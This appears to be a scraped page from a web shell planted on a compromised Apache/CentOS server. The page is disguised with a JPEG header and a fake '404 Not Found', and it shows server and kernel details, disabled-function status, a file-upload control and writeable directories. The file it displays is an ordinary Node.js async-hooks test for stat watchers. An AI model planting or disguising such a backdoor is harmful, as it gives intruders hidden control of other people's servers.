����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/async-hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/async-hooks/test-statwatcher.js
'use strict';

const common = require('../common');
const tmpdir = require('../common/tmpdir');
const assert = require('assert');
const initHooks = require('./init-hooks');
const { checkInvocations } = require('./hook-checks');
const fs = require('fs');
const path = require('path');

if (!common.isMainThread)
  common.skip('Worker bootstrapping works differently -> different async IDs');

tmpdir.refresh({ spawn: false });

const file1 = path.join(tmpdir.path, 'file1');
const file2 = path.join(tmpdir.path, 'file2');
fs.writeFileSync(file1, 'foo');
fs.writeFileSync(file2, 'bar');

const hooks = initHooks();
hooks.enable();

function onchange1(curr, prev) {
  console.log('Watcher: w1');
  console.log('current stat data:', curr);
  console.log('previous stat data:', prev);
}
// Install first file watcher
const w1 = fs.watchFile(file1, { interval: 10 }, onchange1);

let as = hooks.activitiesOfTypes('STATWATCHER');
assert.strictEqual(as.length, 1);

const statwatcher1 = as[0];
assert.strictEqual(statwatcher1.type, 'STATWATCHER');
assert.strictEqual(typeof statwatcher1.uid, 'number');
assert.strictEqual(statwatcher1.triggerAsyncId, 1);
checkInvocations(statwatcher1, { init: 1 },
                 'watcher1: when started to watch file');

function onchange2(curr, prev) {
  console.log('Watcher: w2');
  console.log('current stat data:', curr);
  console.log('previous stat data:', prev);
}

// Install second file watcher
const w2 = fs.watchFile(file2, { interval: 10 }, onchange2);
as = hooks.activitiesOfTypes('STATWATCHER');
assert.strictEqual(as.length, 2);

const statwatcher2 = as[1];
assert.strictEqual(statwatcher2.type, 'STATWATCHER');
assert.strictEqual(typeof statwatcher2.uid, 'number');
assert.strictEqual(statwatcher2.triggerAsyncId, 1);
checkInvocations(statwatcher1, { init: 1 },
                 'watcher1: when started to watch second file');
checkInvocations(statwatcher2, { init: 1 },
                 'watcher2: when started to watch second file');

setTimeout(() => fs.writeFileSync(file1, 'foo++'),
           common.platformTimeout(100));
w1.once('change', common.mustCall((curr, prev) => {
  console.log('w1 change', curr, prev);
  setImmediate(() => {
    checkInvocations(statwatcher1, { init: 1, before: 1, after: 1 },
                     'watcher1: when unwatched first file');
    checkInvocations(statwatcher2, { init: 1 },
                     'watcher2: when unwatched first file');

    setTimeout(() => fs.writeFileSync(file2, 'bar++'),
               common.platformTimeout(100));
    w2.once('change', common.mustCall((curr, prev) => {
      console.log('w2 change', curr, prev);
      setImmediate(() => {
        checkInvocations(statwatcher1, { init: 1, before: 1, after: 1 },
                         'watcher1: when unwatched second file');
        checkInvocations(statwatcher2, { init: 1, before: 1, after: 1 },
                         'watcher2: when unwatched second file');
        fs.unwatchFile(file1);
        fs.unwatchFile(file2);
      });
    }));
  });
}));

process.on('exit', onexit);

function onexit() {
  hooks.disable();
  hooks.sanityCheck('STATWATCHER');
  checkInvocations(statwatcher1, { init: 1, before: 1, after: 1 },
                   'watcher1: when process exits');
  checkInvocations(statwatcher2, { init: 1, before: 1, after: 1 },
                   'watcher2: when process exits');
}

ZeroDay Forums Mini